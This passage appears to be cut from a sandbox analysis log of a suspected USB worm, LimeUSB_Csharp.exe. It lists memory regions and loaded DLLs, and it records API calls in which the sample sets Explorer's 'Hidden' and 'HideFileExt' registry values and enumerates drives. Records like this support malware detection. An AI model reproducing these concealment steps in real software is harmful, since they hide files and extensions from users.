0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3461 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3462 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3463 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3464 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3465 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3466 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3467 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3468 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 3469 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3470 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3471 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3472 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3473 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3474 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3475 start_va = 0x19f0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019f0000" filename = "" Region: id = 3476 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3477 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3478 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3481 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3482 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3483 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3484 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3485 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3486 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3487 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3488 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3489 start_va = 0x7fe92360000 end_va = 0x7fe9236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92360000" filename = "" Region: id = 3490 start_va = 0x7fe92370000 end_va = 0x7fe9237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92370000" filename = "" Region: id = 3491 start_va = 0x7fe92380000 end_va = 0x7fe9240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92380000" filename = "" Region: id = 3492 start_va = 0x7fe92410000 end_va = 0x7fe9247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92410000" filename = "" Region: id = 3493 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3494 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3495 start_va = 0x580000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 3496 start_va = 0x980000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 3497 start_va = 0xbd0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 3498 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3499 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3500 start_va = 0x2df0000 end_va = 0x1adeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 3501 start_va = 0x1adf0000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 3502 start_va = 0xa90000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 3503 start_va = 0xd90000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 3504 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3505 start_va = 0x1b190000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 3506 start_va = 0x1b290000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 3507 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3508 start_va = 0x1b390000 end_va = 0x1b65efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3509 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3513 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3514 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3515 start_va = 0x7fe92480000 end_va = 0x7fe924fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92480000" filename = "" Region: id = 3516 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3517 start_va = 0x980000 end_va = 0x9fcfff monitored = 0 entry_point = 0x98cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3518 start_va = 0xa10000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 3519 start_va = 0x980000 end_va = 0x9fcfff monitored = 0 entry_point = 0x98cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3520 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3521 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3522 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3523 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3524 start_va = 0x1b660000 end_va = 0x1b7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b660000" filename = "" Region: id = 3525 start_va = 0x7fe92500000 end_va = 0x7fe9250ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92500000" filename = "" Region: id = 3526 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3527 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3528 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3529 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3530 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3531 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3532 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3533 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 3534 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3535 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3536 start_va = 0x1b7f0000 end_va = 0x1bac1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 102 os_tid = 0x9bc [0186.878] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0188.637] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x16e628 | out: phkResult=0x16e628*=0x1c4) returned 0x0 [0188.639] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16e678, lpData=0x0, lpcbData=0x16e670*=0x0 | out: lpType=0x16e678*=0x4, lpData=0x0, lpcbData=0x16e670*=0x4) returned 0x0 [0188.640] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16e678, lpData=0x16e658, lpcbData=0x16e670*=0x4 | out: lpType=0x16e678*=0x4, lpData=0x16e658*=0x2, lpcbData=0x16e670*=0x4) returned 0x0 [0188.655] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16e638, lpData=0x0, lpcbData=0x16e630*=0x0 | out: lpType=0x16e638*=0x4, lpData=0x0, lpcbData=0x16e630*=0x4) returned 0x0 [0188.657] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x16e6a8*=0x2, cbData=0x4 | out: lpData=0x16e6a8*=0x2) returned 0x0 [0188.657] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16e678, lpData=0x0, lpcbData=0x16e670*=0x0 | out: lpType=0x16e678*=0x4, lpData=0x0, lpcbData=0x16e670*=0x4) returned 0x0 [0188.657] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16e678, lpData=0x16e658, lpcbData=0x16e670*=0x4 | out: lpType=0x16e678*=0x4, lpData=0x16e658*=0x1, lpcbData=0x16e670*=0x4) returned 0x0 [0188.657] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16e638, lpData=0x0, lpcbData=0x16e630*=0x0 | out: lpType=0x16e638*=0x4, lpData=0x0, lpcbData=0x16e630*=0x4) returned 0x0 [0188.658] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x16e6a8*=0x1, cbData=0x4 | out: lpData=0x16e6a8*=0x1) returned 0x0 [0188.662] GetLogicalDrives () returned 0x4 [0188.679] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x16d5b8 | out: phkResult=0x16d5b8*=0x0) returned 0x2 [0188.679] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0188.685] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e010, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0188.687] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0188.689] CoGetContextToken (in: pToken=0x16f4c0 | out: pToken=0x16f4c0) returned 0x0 [0188.689] CObjectContext::QueryInterface () returned 0x0 [0188.689] CObjectContext::GetCurrentThreadType () returned 0x0 [0188.689] Release () returned 0x0 [0188.690] CoGetContextToken (in: pToken=0x16ef60 | out: pToken=0x16ef60) returned 0x0 [0188.690] CObjectContext::QueryInterface () returned 0x0 [0188.690] CObjectContext::GetCurrentThreadType () returned 0x0 [0188.690] Release () returned 0x0 [0188.691] CoGetContextToken (in: pToken=0x16ef60 | out: pToken=0x16ef60) returned 0x0 [0188.691] CObjectContext::QueryInterface () returned 0x0 [0188.691] CObjectContext::GetCurrentThreadType () returned 0x0 [0188.691] Release () returned 0x0 [0188.694] CoGetContextToken (in: pToken=0x16ef60 | out: pToken=0x16ef60) returned 0x0 [0188.694] CObjectContext::QueryInterface () returned 0x0 [0188.694] CObjectContext::GetCurrentThreadType () returned 0x0 [0188.694] Release () returned 0x0 [0188.696] CoGetContextToken (in: pToken=0x16ef80 | out: pToken=0x16ef80) returned 0x0 [0188.696] CObjectContext::QueryInterface () returned 0x0 [0188.696] CObjectContext::GetCurrentThreadType () returned 0x0 [0188.696] Release () returned 0x0 [0188.698] CoUninitialize () Thread: id = 103 os_tid = 0x7d0 Thread: id = 104 os_tid = 0x4c4 [0187.725] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0188.692] RegCloseKey (hKey=0x1c4) returned 0x0 [0188.693] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 105 os_tid = 0x3b8 Process: id = "22" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x5994a000" os_pid = "0x5f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3541 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3542 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3543 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3544 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3545 start_va = 0x330000 end_va = 0xdf3fff monitored = 1 entry_point = 0xdee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3546 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3547 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3548 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3549 start_va = 0x7fff5000 end_va = 0x7fff5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff5000" filename = "" Region: id = 3550 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3551 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3552 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3553 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3554 start_va = 0x50000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3555 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3556 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3557 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3558 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3559 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3560 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3561 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3562 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3563 start_va = 0xe00000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3564 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3565 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 3566 start_va = 0xf00000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 3567 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3568 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3569 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3570 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3571 start_va = 0xfe0000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 3572 start_va = 0xfe0000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 3573 start_va = 0x11b0000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 3574 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3575 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3576 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3577 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3578 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3579 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3580 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3581 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 